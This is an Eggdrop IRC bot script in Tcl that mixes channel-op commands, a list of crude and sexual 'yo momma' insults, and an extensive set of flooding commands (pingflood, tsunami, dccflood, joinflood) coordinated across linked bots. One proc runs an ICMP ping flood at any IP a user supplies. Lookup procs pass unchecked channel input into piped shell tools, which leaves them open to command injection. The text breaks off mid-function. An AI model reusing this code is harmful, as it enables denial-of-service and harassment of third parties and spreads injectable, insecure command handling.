set cmdchar "!"
set console-autosave 1
set repeat-kick 5

###########
## 
##  DO NOT CHANGE ANYTHING PAST HERE
##
###########


set shitflag "t"
set voiceflag "v"
set flag1 $shitflag
set flag2 $voiceflag
set bawt $botnick

proc char { } {
global cmdchar
return $cmdchar
}

proc boat { } {
global bawt
return $bawt
}

##############################
##                           #
## Dont touch these commands #
##                           #
##############################
bind join * * check_join
bind join v * voice
bind join - *DCC* dccjoin
bind pubm - * caps_pubm
bind pubm - * repeat_pubm
bind pubm - "*join #*" pub_dontinvite
bind pubm - "*/join*" pub_dontinvite
bind pubm - "*go to * #*" pub_dontinvite
bind pubm - "*goto #*" pub_dontinvite
bind pubm - "*come to *#*" pub_dontinvite
bind pubm $shitflag * kickonchat
bind sign - * set_part_reason
bind part - * just_left
bind pub - [boat] pub_bot_call
bind ctcr - PING lag_reply
bind ctcr - * ctcps_reply
bind flud - pub bfldr 
bind bot - lookll do_look

##############################
##                           #
##   Bot Owner Commands      #
##                           #
##############################
bind pub n [char]die pub_die
bind dcc n spynotes spy_notes

##############################
##                           #
## Bot Master Commands       #
##                           #
##############################
bind pub m [char]addbot pub_addbot
bind pub m [char]adduser pub_addusr
bind pub m [char]chattr pub_chattr
bind pub m [char]clearchan pub_clearchan
bind pub m [char]clearmode pub_clear
bind pub m [char]ctcpr pub_ctcp
bind pub m [char]cycle pub_cycle
bind pub m [char]flip pub_flip
bind pub m [char]jump pub_jump
bind pub m [char]join pub_join
bind pub m [char]leet pub_leet
bind pub m [char]link pub_link
bind pub m [char]nick pub_nick
bind pub m [char]part pub_leave
bind pub m [char]rembot pub_rembot
bind pub m [char]remuser pub_remusr
bind pub m [char]reload pub_reload
bind pub m [char]say pub_say
bind pub m [char]save pub_save
bind pub m [char]set pub_set
bind pub o [char]switch pub_switch
bind pub m [char]unlink pub_unlink
bind pub m [char]userlist pub_userlist
bind dcc m checkpass check_pass
bind dcc m cycle dcc_botcycle
bind dcc m flagnote flag_note
bind dcc m join dcc_botjoin
bind dcc m massdeop dcc_massdeop
bind dcc m massop dcc_massop
bind dcc m part dcc_botpart
bind dcc m sendmail dcc_sendmail
bind pub m [char]dig pub_dig
bind pub m [char]finger pub_finger
bind pub m [char]flood pub_pingflood
bind pub m [char]who pub_whereis
bind pub m [char]trace pub_trace
bind pub m [char]nslookup pub_nsl

##############################
##                           #
## Channel Op Commands       #
##                           #
##############################
bind pub o [char]act pub_act
bind pub o [char]away pub_away
bind pub o [char]back pub_back
bind pub o [char]ban pub_isban
bind pub o [char]banner pub_banner
bind pub o [char]bans pub_chanbans
bind pub o [char]chaninfo pub_show_channel
bind pub o [char]chanlist pub_chanlist
bind pub o [char]clearbans pub_clearbans
bind pub o [char]dcclist pub_dcclist
bind pub o [char]debug pub_debug
bind pub o [char]devoice pub_devoice
bind pub o [char]deop pub_deop
bind pub o [char]down pub_down
bind pub o [char]fuck pub_fuck
bind pub o [char]hosts pub_hosts
bind pub o [char]ignorelist pub_ignorelist
bind pub o [char]invite pub_invite
bind pub o [char]kick pub_kick
bind pub o [char]kill pub_op_kill
bind pub o [char]list pub_list
bind pub o [char]mode pub_mode
bind pub o [char]momma pub_momma
bind pub o [char]msg pub_msg
bind pub o [char]notice pub_notice
bind pub o [char]op pub_op
bind pub o [char]ping pub_ping
bind pub o [char]return pub_return
bind pub o [char]seen pub_seen
bind pub o [char]server pub_server
bind pub o [char]shit pub_pban
bind pub o [char]shutup pub_shutup
bind pub o [char]status pub_status
bind pub o [char]talk pub_lettalk
bind pub o [char]togsplits pub_togchan
bind pub o [char]topic pub_topic
bind pub o [char]unban pub_isunban
bind pub o [char]up pub_up
bind pub o [char]usercount pub_countusers
bind pub o [char]voice pub_voice
bind pub o [char]whochan pub_chanlist
bind pub o [char]whois pub_whos
bind msg o togsplits do_msgsp
bind msg o seen msg_seen
bind dcc o seen cmd_seen
bind dcc o mode dcc_do_mode
bind dcc o unban dcc_unbans
bind dcc o wall dcc_wall
bind dcc o enforcemode dcc_do_enforce
bind chat o "seen *" chat_seen

##############################
##                           #
##    Other User Commands    #
##                           #
##############################
bind pub p [char]chat pub_chatme
bind pub p [char]bots pub_bots
bind pub x [char]chat pub_chatme
bind pub f [char]channels pub_chans
bind pub f [char]sendnote pub_note
bind dcc p pubhelp cmd_pubhelp
bind dcc p dcchelp cmd_help

##############################
##                           #
##    Any User Commands      #
##                           #
##############################
bind pub - [char]date pub_date
bind pub - [char]help pub_help
bind pub - [char]idle pub_idletime
bind pub - [char]ptime pub_do_ping
bind pub - [char]time pub_time
bind pub - [char]version pub_version
bind pub - [char]ver pub_ver
bind msg - split add_split
bind msg - rsplit rem_split
bind msg - topic msg_topic

##############################
##                           #
## Flooding Controls         #
##                           #
##############################
bind dcc m boom cmd_boom
bind dcc m verflood cmd_vflood
bind dcc m junkflood cmd_jflood
bind dcc m tsunami cmd_tsu
bind dcc m joipboom cmd_joipboom
bind dcc m joinboom cmd_joinboom
bind dcc m jointsu cmd_jointsu
bind dcc m joiptsu cmd_joiptsu
bind dcc m pingflood cmd_pflood
bind dcc m fdccflood cmd_fdflood
bind dcc m userflood cmd_uflood
bind dcc m timeflood cmd_tflood
bind dcc m clientflood cmd_cflood
bind dcc m fingerflood cmd_fflood
bind dcc m inviteflood cmd_iflood
bind dcc m noticeflood cmd_nflood
bind dcc m cjunkflood cmd_cjflood
bind dcc m fchatflood cmd_fcflood
bind dcc m chatflood cmd_chflood
bind dcc m dccflood cmd_dflood
bind dcc m echoflood cmd_eoflood
bind dcc m joinpart cmd_joipflood
bind dcc m floodhelp cmd_floodhlp
bind dcc m floodver cmd_fversion
bind dcc m ready cmd_ready

bind bot - vflood do_flood
bind bot - boom do_flood
bind bot - jflood do_flood
bind bot - pflood do_flood
bind bot - fdflood do_flood
bind bot - uflood do_flood
bind bot - cflood do_flood
bind bot - tflood do_flood
bind bot - fflood do_flood
bind bot - iflood do_flood
bind bot - nflood do_flood
bind bot - cjflood do_flood
bind bot - chflood do_flood
bind bot - fcflood do_flood
bind bot - joipflood do_flood
bind bot - joipboom do_flood
bind bot - tsunami do_flood
bind bot - joinboom do_flood
bind bot - joinboom do_flood
bind bot - joiptsu do_flood
bind bot - jointsu do_flood
bind bot - dflood do_flood
bind bot - eoflood do_flood
bind bot - fversion do_fversion
bind bot - amiready do_am_i_ready
set text2 ""
set text3 ""
set text4 ""
set botnum 1
set caniflood 1
set who ""

######################################################################
#
#           Dont Change anything past Here Please!
#
######################################################################

set momma  {
"Yo momma so fat when her beeper goes off, people thought she was backing up"
"Yo momma so fat her nickname is 'DAMN'."
"Yo momma so fat she eats Wheat Thicks."
"Yo momma so fat we're in her right now"
"Yo momma so fat people jog around her for exercise"
"Yo momma so fat she went to the movies and sat next to everyone"
"Yo momma so fat she has been declared a natural habitat for Condors"
"Yo mamma so fat you hafta roll over twice to get off her..."
"Yo momma so fat she was floating in the ocean and Spain claimed her for their new world"
"Yo momma so fat she lay on the beach and people run around yelling Free Willy"
"Yo momma so fat when you get on top of her your ears pop!"
"Yo momma so fat when she has sex, she has to give directions!"
"Yo momma so fat she goes to a restaurant, looks at the menu and says 'okay!'"
"Yo momma so fat when she wears a yellow raincoat, people said 'Taxi!'"
"Yo momma so fat she had to go to Sea World to get baptized"
"Yo momma so fat she got to iron her pants on the driveway"
"Yo momma so fat she put on her lipstick with a paint-roller"
"Yo momma so fat she got to pull down her pants to get into her pockets"
"Yo momma so fat when she tripped over on 4th Ave, she landed on 12th"
"Yo momma so fat when she bungee jumps, she brings down the bridge too"
"Yo momma so fat the highway patrol made her wear 'Caution! Wide Turn'"
"Yo momma so fat when she sits around the house, she SITS AROUND THE HOUSE!"
"Yo momma so stupid it took her 2 hours to watch 60 minutes"
"Yo momma so stupid when she saw the NC-17 sign, she went home and got 16 friends"
"Yo momma so stupid when your dad said it was chilly outside, she ran outside with a spoon"
"Yo momma so stupid she told everyone that she was 'illegitiment' because she couldn't read"
"Yo momma so stupid that she puts lipstick on her head just to make-up her mind"
"Yo momma so stupid you have to dig for her IQ!"
"Yo momma so stupid she got locked in a grocery store and starved!"
"Yo momma so stupid that she tried to put M&M's in alphabetical order!"
"Yo momma so stupid she could trip over a cordless phone!"
"Yo momma so stupid she sold her car for gasoline money!"
"Yo momma so stupid she bought a solar-powered flashlight!"
"Yo momma so stupid she thinks a quarterback is a refund!"
"Yo momma so stupid she took a cup to see Juice."
"Yo momma so stupid that she sold the car for gas money."
"Yo momma so stupid she asked you 'What is the number for 911'"
"Yo momma so stupid she took a ruler to bed to see how long she slept."
"Yo momma so ugly when she joined an ugly contest, they said 'Sorry, no professionals.'"
"Yo momma so ugly she looks out the window and got arrested for mooning."
"Yo momma so ugly just after she was born, her mother said 'What a treasure!' and her father said 'Yes, let's go bury it.'"
"Yo momma so ugly they push her face into dough to make gorilla cookies."
"Yo momma so ugly they filmed 'Gorillas in the Mist' in her shower"
"Yo momma so ugly they didn't give her a costume when she tried out for Star Wars."
"Yo momma so ugly instead of putting the bungee cord around her ankle, they put it around her neck"
"Yo momma so ugly she gets 364 extra days to dress up for Halloween."
"Yo momma so ugly when she walks into a bank, they turn off the surveillence cameras"
"Yo momma so ugly her mom had to be drunk to breast feed her"
"Yo momma so ugly her mom had to tie a steak around her neck to get the dogs to play with her."
"Yo momma so ugly when she walks down the street in September, people say 'Damn, is it Halloween already?'"
"Yo momma so ugly the government moved Halloween to her birthday."
"Yo momma so ugly that if ugly were bricks she'd have her own projects."
"Yo momma so ugly I took her to the zoo and they said thanks for bringing her back."
"Yo momma so ugly they pay her to put her clothes on in strip joints."
"Yo momma so ugly she made an onion cry."
"Yo momma so ugly when they took her to the beautician it took 12 hours. . .for a quote!"
"Yo momma so old I told her to act her own age, and the bitch died."
"Yo momma so old she has Jesus' beeper number!"
"Yo momma so old her social security number is 1!"
"Yo momma so old that when God said let the be light, she hit the switch'"
"Yo momma so old that when she was in school there was no history class."
"Yo momma so old she owes Jesus 3 bucks!"
"Yo momma so old she's in Jesus's yearbook!"
"Yo momma so old she has a picture of Moses in her yearbook."
"Yo momma so old her birth certificate says expired on it."
"Yo momma so old she knew Burger King while he was still a prince."
"Yo momma so old she owes Jesus a nickel."
"Yo momma so poor when I saw her kicking a can down the street, I asked her what she was doing, she said 'Moving.'"
"Yo momma so poor she can't afford to pay attention!"
"Yo momma so poor when I ring the doorbell I hear the toilet flush!"
"Yo momma so poor when she goes to KFC, she has to lick other people's fingers!!!"
"Yo momma so poor when I ring the doorbell she says,'DING!'"
"Yo momma so poor she went to McDonald's and put a milkshake on layaway."
"Yo momma so poor your family ate cereal with a fork to save milk."
"Yo momma so poor she goes to Kentucky Fried Chicken to lick other people's fingers."
"Yo momma so poor her face is on the front of a foodstamp."
"Yo momma so poor she was in K-Mart with a box of Hefty bags. I said, 'What ya doin?' She said, 'Buying luggage.'"
"Yo momma so poor she drives a peanut."
"Yo momma so poor she shit in a sack for a pillow"
"Yo momma so poor she waves around a popsicle stick and calls it air conditioning."
"Yo momma like potato chips-- Fri-to Lay"
"Yo momma like a screen door, after a couple bangs she tends to loosen up! "
"Yo momma like the pillbury doughboy - everyone gets a poke!"
"Yo momma like a doorknob - everyone gets a turn!"
"Yo momma like a T.V. set, even a three year old can turn her on!"
"Yo momma like a bus, fifty cents and she's ready to ride!"
"Yo momma like a golf course, everyone GETS a hole in one!"
"Yo momma like the railway system, she gets laid all over the country!"
"Yo momma like a tomato source bottle, everyone gets a squeeze out of her!"
"Yo momma like a shotgun: one cock and she blows!"
"Yo momma like a hardware store: 4 cents a screw!"
"Yo momma like Domino's pizza-- Something for nothing"
"Yo momma like a refridgerator: everyone likes to put their meat in her!"
"Yo momma like cake mix, 15 servings per package!"
"Yo momma like a rifle... four cocks and she's loaded."
"Yo momma like a bowling ball. She's picked up, fingered, and then thrown in the gutter."
"Yo momma like a bus: Guys climb on and off her all day long."
"Yo momma like a Toyota: 'Oh what a feelin!'"
"Yo momma like Orange Crush: 'Good Vibrations!'"
"Yo momma like a bubble-gum machine... five cents a blow."
"Yo momma like chinese food: sweet, sour and cheap!"
"Yo momma like a double barrelled shotgun: 2 cocks and she's ready to blow."
"Yo momma like a bowling ball, she gets pick by her weight, fingered, guttered, and she comes back for more!"
"Yo momma like a limosine, big & white and easy to get into."
"Yo momma like a vaccuum cleaner.....a real good suck."
}

proc pub_momma  {nick uhost handle chan args} {
  global momma  botnick channel
   set who [string toupper [lindex $args 0]]
   set outputw [lindex $momma  [rand [llength $momma]]]
   if {[string compare $outputw ":"] == 0} {
      set outnick [lindex [channel] [rand [llength [channel]]]]
      if {[string compare $outnick $botnick] != 0} {
        putserv "PRIVMSG $chan :I have nothing for you, maybe  $outnick does?"
      } else {
        putserv "PRIVMSG $chan :I have nothing for you."
      }
   } else {
      putserv "PRIVMSG $chan :Hey $who, $outputw" 
   }
}

proc msg_momma {nick uhost hand args} {
  global momma  
   set outputw [lindex $wisdom  [rand [llength $momma]]]
   if {[string compare $outputw ":"] == 0} {
        putserv "PRIVMSG $nick :$nick, why should I care?"
   } else {
      putserv "PRIVMSG $nick :$outputw" 
   }
}

proc pub_dontinvite {nick uhost handle channel arg} {
global botnick
if {![isop $botnick $channel]} {return 0}
if {[isop $nick $channel]} {
return 0
}
if {([matchattr $nick m] || [matchattr $nick o]  || [matchattr $nick b] || [matchattr $nick n] || [matchattr $nick f])} { 
putlog "$nick!$uhost Invited Someone in $channel but he is a recognized user on me, so it doesn't matter"
return 0
}
if [regexp -nocase dcc $nick] {return 0}
set ban [maskhost [getchanhost $nick $channel]]
regsub {\*!} $ban \*!\* da_ban
set ban $da_ban
putlog "$nick!$uhost Invited Someone in $channel (Kicking..)"
putserv "KICK $channel $nick : NO INVITES! "
putserv "MODE $channel -o+b $nick $ban"
putserv "KICK $channel $nick : Lamer Kick "
}

bind pub - [char]speak pub_speak

proc pub_countusers {nick userhost handle channel arg} {
set a [chanlist $channel]
set i "0"
putserv "Notice $nick :Counting Users on $channel..."
foreach p [chanlist $channel] {
set i [expr $i + 1]
}
putserv "Notice $nick :There are $i users in $channel"
}

proc pub_clearbans {nick userhost handle channel vars} {
set vars $channel
set banlist [chanbans $vars]
set a [lindex $banlist 0]
set b [lindex $banlist 1]
set c [lindex $banlist 2]
set d [lindex $banlist 3]
set e [lindex $banlist 4]
set f [lindex $banlist 5]     
set g [lindex $banlist 6]
set h [lindex $banlist 7]
set i [lindex $banlist 8]
set j [lindex $banlist 9]
set k [lindex $banlist 10]
set l [lindex $banlist 11]
set m [lindex $banlist 12]
set n [lindex $banlist 13]
set o [lindex $banlist 14]
set p [lindex $banlist 15]
set q [lindex $banlist 16]
set r [lindex $banlist 17]
set s [lindex $banlist 18]                       
putserv "mode $vars -bbbbbb $a $b $c $d $e $f"
putserv "mode $vars -bbbbbb $g $h $i $j $k $l"
putserv "mode $vars -bbbbbb $m $n $o $p $q $r"
putserv "mode $vars -b $s"
putlog "#$handle# clearbans"
}

proc pub_clearchan {nick userhost handle channel arg} {
global botnick
foreach p [chanlist $channel] {
 if [isop $p $channel] {
  if {$p != $botnick} {
   pushmode $channel -o $p
  }
 }
}
flushmode $channel
set arg $channel
set banlist [chanbans $arg]
set a [lindex $banlist 0]
set b [lindex $banlist 1]
set c [lindex $banlist 2]
set d [lindex $banlist 3]      
set e [lindex $banlist 4]
set f [lindex $banlist 5]
set g [lindex $banlist 6]
set h [lindex $banlist 7]
set i [lindex $banlist 8]
set j [lindex $banlist 9]
set k [lindex $banlist 10]
set l [lindex $banlist 11]
set m [lindex $banlist 12]
set n [lindex $banlist 13]
set o [lindex $banlist 14]
set p [lindex $banlist 15]
set q [lindex $banlist 16]           
set r [lindex $banlist 17]
set s [lindex $banlist 18]
putserv "mode $arg -bbbbb $a $b $c $d $e"
putserv "mode $arg -bbbbb $g $h $i $j $k"
putserv "mode $arg -bbbbb $m $n $o $p $q"
putserv "mode $arg -bbbb $s $f $l $r"
putserv "mode $channel -ntspimlk *"
set chankey [getchanmode $channel]
set justkey [lindex $chankey 1]
putserv "mode $channel -k :$justkey"
set justkey [lindex $chankey 2]
putserv "mode $channel -k :$justkey"  
putlog "#$handle# clearchan $channel"
}

proc pub_return {nick uhost hand chan arg} {
global from whoto
set from $nick
set what [string toupper [lindex $arg 0]]
set whoto [lindex $arg 1]
if {$what == ""} {
   putserv "NOTICE $nick :Usage: [char]return <ctcp command> <nick>"
   putserv "NOTICE $nick :the ctcp commands are: version userinfo clientinfo time finger"
   }
if {$what == "VERSION"} {
  putserv "PRIVMSG $whoto :\001VERSION\001"
  }
if {$what == "USERINFO"} {
  putserv "PRIVMSG $whoto :\001USERINFO\001"
  }
if {$what == "CLIENTINFO"} {
  putserv "PRIVMSG $whoto :\001CLIENTINFO\001"
  }
if {$what == "TIME"} {
  putserv "PRIVMSG $whoto :\001TIME\001"
  }
if {$what == "FINGER"} {
  putserv "PRIVMSG $whoto :\001FINGER\001"
  }
return 0
}
 
proc pub_leet {nick uhost handle channel vars} {
    set a [rand 2]
    if {$a == "0"} {
        set v [string tolower $vars]
        regsub -all a $v  v2
        regsub -all b $v2  v3
        regsub -all c $v3  v4
        regsub -all d $v4  v5
        regsub -all e $v5  v6
        regsub -all f $v6 f v7
        regsub -all g $v7 g v8
        regsub -all h $v8 h v9
        regsub -all i $v9  v00
        regsub -all j $v00 j v11
        regsub -all k $v11 /< v22
        regsub -all l $v22 | v33
        regsub -all m $v33 m v44
        regsub -all n $v44  v55
        regsub -all o $v55  v66
        regsub -all p $v66  v77
        regsub -all r $v77  v88
        regsub -all s $v88  v99
        regsub -all t $v99 + v111
        regsub -all v $v111 v v222
        regsub -all w $v222 w v333
        regsub -all x $v333  v444
        regsub -all y $v444  v555
        regsub -all z $v555 z vend
        putserv "PRIVMSG $channel :$vend"
    }
    if {$a == "1"} {
	join $vars " "
        putserv "PRIVMSG $channel :[string toupper $vars]"
    }
}

proc pub_switch {nick uhost handle channel vars} {
    set a [split $vars " "]
    set b ""
    for {set i [expr [llength $a]-1]} {$i >= 0} {incr i -1} {
        lappend b [lindex $a $i]
    }
    set v [join $b " "]
    putserv "PRIVMSG $channel :$v"
}

proc pub_dcclist {nick uhost handle channel vars} {
    putserv "NOTICE $nick :I have [dccused] connections thru DCC chat:"
    foreach i [dcclist] {
	putserv "NOTICE $nick :$i"
    }
}

proc pub_act {nick host handle channel vars} {
    set act [lrange $vars 0 end]
    if {$act == ""} {
        putserv "NOTICE $nick :Usage: [char]act <action>"
    }
    putserv "PRIVMSG $channel :ACTION $act"
}

proc pub_link {nick uhost handle channel vars} {
    set who [lindex $vars 0]
    if {$who == ""} {
        putserv "NOTICE $nick :Usage: [char]link <bot>"
    }
    link $who
    putserv "NOTICE $nick :Linking to $who.."
}

proc pub_unlink {nick uhost handle channel vars} {
    set who [lindex $vars 0]
    if {$who == ""} {
        putserv "NOTICE $nick :Usage: [char]unlink <bot>"
    }
    unlink $who
    putserv "NOTICE $nick :Unlinked $who.."
}

proc ctcps_reply {nick uhost hand dest key arg} {
global from whoto
  if {$key == "VERSION"} {
    set verz [lrange $arg 0 end]
    putserv "NOTICE $from :$whoto had a Version reply of $verz "
    }
  if {$key == "USERINFO"} {
    set ui [lrange $arg 0 end]
    putserv "NOTICE $from :$whoto had a Userinfo reply of $ui "
    }
  if {$key == "CLIENTINFO"} {
    set ci [lrange $arg 0 end]
    putserv "NOTICE $from :$whoto had a ClientInfo reply of $ci "
    }
  if {$key == "TIME"} {
    set ti [lrange $arg 0 end]
    putserv "NOTICE $from :$whoto had a Time reply of $ti "
    }
  if {$key == "FINGER"} {
    set fi [lrange $arg 0 end]
    putserv "NOTICE $from :$whoto had a Finger reply of $fi "
    }
}

proc pub_flip {nick uhost handle channel vars} {
    set a [split $vars {}]
    set b ""
    for {set i [expr [llength $a]-1]} {$i >= 0} {incr i -1} {
        lappend b [lindex $a $i]
    }
    set v [join $b {}]
    putserv "PRIVMSG $channel :$v"
}

proc pub_speak {nick uhost hand channel arg} {
global botnick
putserv "PRIVMSG $nick : Hi $nick , I'm $botnick!"
}

proc pub_nsl {nick uhost hand channel arg} {
set input [open "|/usr/sbin/nslookup $arg" r]
putserv "PRIVMSG $channel : Request recieved."
putserv "PRIVMSG $channel : lookup $arg for $nick."
set trash [gets $input]
set trash [gets $input]
while {![eof $input]} {
        catch {set contents [gets $input]}
        putserv "PRIVMSG $channel :$contents"
        }
catch {close $input}
return 1
}

proc pub_finger {nick uhost hand channel arg} {
set input [open "|/usr/bin/finger $arg" r]
putserv "PRIVMSG $channel : Request Received."
putserv "PRIVMSG $channel : finger $arg for $nick."
set trash [gets $input]
set trash [gets $input]
while {![eof $input]} {
        catch {set contents [gets $input]}
        putserv "PRIVMSG $channel :$contents"
        }
catch [close $input]
return 1
}

proc pub_pingflood {nick uhost hand channel arg} {
set ip [lindex $arg 0]
set size [lindex $arg 1]
set times [lindex $arg 2]
putserv "PRIVMSG $nick :ping $ip $times times. Packet size $size"
putserv "PRIVMSG $channel :Request recieved:"
putserv "PRIVMSG $channel :icmp flood $ip at a rate of $size per packet"
putserv "PRIVMSG $channel :for $times packets."
exec /sbin/ping -s $size -c $times $ip
return 1
}

proc pub_whereis {nick uhost hand channel arg} {
putserv "PRIVMSG $channel :Request recieved:"
putserv "PRIVMSG $channel :Query InterNIC for $arg by $nick"
set input [open "|/usr/bin/whois $arg" r]
while {![eof $input]} {
	catch {set contents [gets $input]}
  	putserv "PRIVMSG $nick :$contents"
 	}
catch {close $input}
return 1
}

proc pub_trace {nick uhost hand channel arg} {
set input [open "|/usr/sbin/traceroute $arg" r]
putserv "PRIVMSG $channel :Request recieved:"
putserv "PRIVMSG $channel :Traceroute $arg for $nick"
while {![eof $input]} {
        catch {set contents [gets $input]}
	scan $contents "%d %s %s" num add ip
        putserv "PRIVMSG $nick :$num)  $add --- $ip"
        }
catch {close $input}
return 1
}

proc pub_dig {nick uhost hand channel arg} {
set input [open "|/usr/bin/dig $arg" r]
putserv "PRIVMSG $channel :Request recieved"
putserv "PRIVMSG $channel :Dig $arg for $nick"
while {![eof $input]} {
set output [set output [gets $input]]
putserv "PRIVMSG $nick :$output"
}
close $input
putserv "PRIVMSG $nick :END DIG"
return 1
}

proc check_join {nick uhost hand chan} {
	global botnick
	set ch [passwdok "$hand" ""]
	if {$ch == "1"} {
	putlog "$nick ($hand) Does Not Have A Password Set.  Msg'ing $nick."
	putserv "privmsg $nick :You Don't Have A Password Set On Me.  Please One Set One Now By Typing: /msg $botnick pass <PASSWORD>"
} 
}
proc check_pass {hand idx arg} {
	putlog "#$hand# checkpass"
	foreach user [userlist p] {
	set ch [passwdok "$user" ""]
	if {$ch == "1"} {
	putdcc $idx "$user Does Not Have A Password Set."
	}}
	putdcc $idx "Checking Done."
}
        foreach user [userlist p] {
        set ch [passwdok "$user" ""]
        if {$ch == "1"} {
        putlog "$user Does Not Have A Password Set."
        }}
        putlog "Checking Done."

proc voice {nick uhost hand chan} {
putserv "MODE $chan +v $nick"
chattr $nick +vpx-o
save
return 1
putlog "Auto-Voice User $nick just Joined $chan"
}

proc just_left {nick uhost handle channel} {
     global botnick
        if {$nick == $botnick} {
        } else {
          if {$handle == ""} {
        } else {
          setxtra $handle "Left $channel Without Any Reason."
          setlaston $handle
         }
       }
} 

proc set_part_reason {nick uhost handle channel partmsg} {
     global botnick
     if {$nick == $botnick} {
     } else {
       if {$handle == ""} {
       } else {
         setxtra $handle $partmsg
         setlaston $handle
       }
     }  
}

proc pub_hosts {nick uhost handle channel vars} {
if {![validuser $handle]} {
putserv "NOTICE $nick :You're not a valid user!"
}
putserv "NOTICE $nick :Known hostmasks: [gethosts $handle]"
}

proc pub_chanlist {nick uhost handle channel vars} {
set flags [lindex $vars 0]
if {$flags == ""} {
    putserv "NOTICE $nick :Current users on $channel: [chanlist $channel]"
}
if {[chanlist $channel $flags] == ""} {
    putserv "NOTICE $nick :There are no $flags people on $channel"
}
putserv "NOTICE $nick :Current $flags users on $channel: [chanlist $channel $flags]"
putlog "#$handle# hosts"
}

proc pub_isban {nick uhost handle channel args} {
global botnick
set why [lrange $args 1 end]
set who [lindex $args 0]
set n2hand [nick2hand $who $channel]
set ban [maskhost [getchanhost $who $channel]]
regsub {\*!} $ban \*!\* p_ban
set ban $p_ban
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]Ban <Nick to Ban>"
return 1
}
if {![onchan $who $channel]} {
putserv "NOTICE $nick :$who is currently not on $channel"
return 1
}
if {[string tolower $who] == [string tolower $botnick]} {
putserv "KICK $channel $nick : You are Not Welcome "
return 1
}
if {[matchattr $n2hand m]} {
putserv "NOTICE $who :$nick tried to shitlist you."
putserv "NOTICE $nick :You tried to shitlist $who, He is a Master. He's gonna have to beat the shit out of you now. You might be added to my Perm Ban List."
set reas " Shitlisting My Master? You Lamer!"
addban $ban $channel $reas
putserv "KICK $channel $nick : Shitlist My Master? You Lamer!"
return 1
}
addglban $ban $why
putlog "#$handle# ban $who!$ban With Reason: $why."
putserv "NOTICE $nick :Banned $who on $channel. Reason: $why."
return 1
}

proc pub_isunban {nick uhost handle channel vars} {
    global botnick
    set who [lindex $vars 0]
    if {$who == ""} {
        putserv "NOTICE $nick :Usage: [char]unban <nick/host>"
    }
    if {![botisop $channel]} {
        putserv "NOTICE $nick :I'm not opped on $channel!"
    }
    if {![isban $who $channel] && ![ispermban $who]} {
        putserv "NOTICE $nick :$who isn't banned! (Check the User@host.)"
    }
    if {[ispermban $who]} {
        delglban $who
        putserv "NOTICE $nick :Removed Perm Ban on $who."
    }
    if {[isban $who $channel]} {
        putserv "MODE $channel -b $who"
        putserv "NOTICE $nick :Removed Ban on $who from $channel."
    }
putlog "#$handle# unban $who"
}

proc pub_clear {nick userhost handle channel args} {
putserv "mode $channel -ntspimlk *"
set chankey [getchanmode $channel]
putserv "Notice $nick :Mode was or is $chankey" 
}

proc pub_chanlist {nick userhost handle channel args} {
if {$args == ""} {
putserv "Notice $nick :Usage: [char]whochan <channel>"
}
putserv "Notice $nick :Who is on channel: [chanlist $args]"
}

proc pub_nick {nick userhost handle channel args} {
set who [lindex $args 0]
if {$who == ""} {
putserv "Notice $nick :Usage: [char]nick <newnick>"
}  
putserv "nick :$who"
}

proc pub_debug {nick userhost handle channel args} {
set who [lindex $args 0]
set why [lindex $args 1]
set whyy [lrange $args 2 end]
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]debug <args>"
putserv "Notice $nick :Args are: args <procname>, cmdcount, commands, complete <procname>, platform"
putserv "Notice $nick :hostname, lib, loaded, exec, patchversion, ext, pid, var <procname>"
}
if {$who == "args"} {
putserv "Notice $nick :DEBUG: [info args $why]"
}
if {$who == "cmdcount"} {
putserv "Notice $nick :DEBUG [info cmdcount]"
}
if {$who == "commands"} {
set ta [info commands]
putserv "Notice $nick :DEBUG [lrange $ta 0 30]"
putserv "Notice $nick :[lrange $ta 31 60]"
putserv "Notice $nick :[lrange $ta 61 90]"
putserv "Notice $nick :[lrange $ta 91 120]"
putserv "Notice $nick :[lrange $ta 121 150]"
}
if {$who == "complete"} {
putserv "Notice $nick :DEBUG [info complete $why]"
}
if {$who == "var"} {
putserv "Notice $nick :DEBUG [info exists $why]"
}
if {$who == "hostname"} {
putserv "Notice $nick :DEBUG [info hostname]"
}
if {$who == "lib"} {
putserv "Notice $nick :DEBUG [info library]"
}
if {$who == "loaded"} {
putserv "Notice $nick :DEBUG [info loaded]"
}
if {$who == "exec"} {
putserv "Notice $nick :DEBUG [info nameofexecutable]"
}
if {$who == "patchversion"} {
   putserv "Notice $nick :DEBUG [info patchlevel]"
   }
if {$who == "ext"} {
   putserv "Notice $nick :DEBUG [info sharedlibextension]"
   }
if {$who == "pid"} {
   putserv "Notice $nick :DEBUG [pid]"
   }
if {$who == "platform"} {
   global tcl_platform
   putserv "Notice $nick :DEBUG machine $tcl_platform(machine)"
   putserv "Notice $nick :DEBUG machine $tcl_platform(os)"   
   putserv "Notice $nick :DEBUG machine $tcl_platform(osVersion)"   
   putserv "Notice $nick :DEBUG machine $tcl_platform(platform)"    
   }
}

proc pub_away {nick host handle channel arg} {
set why [lrange $arg 0 end]
if {$why == ""} {
putserv "NOTICE $nick :Usage: [char]Away <The away msg you want me to use.>"
return 1
}
putserv "AWAY :$why"
foreach channel [channels] {
putserv "PRIVMSG $channel :ACTION is away \[$why\]"
}
putserv "NOTICE $nick : I am Set Away. MSG set to '$why'."
return 1
}

proc pub_back {nick host handle channel arg} {
putserv "AWAY"
foreach channel [channels] {
putserv "PRIVMSG $channel :ACTION has returned"
}
putserv "NOTICE $nick : I am no Longer set as being Away."
return 1
}

proc pub_ignorelist {nick userhost handle channel args} {
if {$args == ""} {
putserv "NOTICE $nick :Usage: [char]Ignorelist"
}
putserv "NOTICE $nick :Ignore list is [ignorelist]"
}

proc pub_set {nick host handle channel vars} {
set what [lindex $vars 0]
set what2 [lindex $vars 1]
if {$what == ""} {
putserv "NOTICE $nick :Usage: [char]set <setting>"
}
if {$what2 == ""} {
putserv "NOTICE $nick :Usage: [char]set <setting>"
}
set $what $what2
putserv "NOTICE $nick :Set $what to $what2"
}

proc pub_status {nick uhost handle channel args} {
     global botname server version botnick ver
     putserv "NOTICE $nick :--------------- $botnick ---------------"
     putserv "NOTICE $nick :           Eggdrop $version"
     putserv "NOTICE $nick :Current Date/Time: [date] [time]"
     putserv "NOTICE $nick :Channels:  [channels]"
     putserv "NOTICE $nick :Current nick!user@host: $botname"
     putserv "NOTICE $nick :DCC IP Address:  [myip]"
     putserv "NOTICE $nick :Current Server: $server"
     putserv "NOTICE $nick :$botnick contains a record of [countusers] users."
     set owners [userlist n]
     putserv "NOTICE $nick :Owner(s):"
     foreach owns $owners {
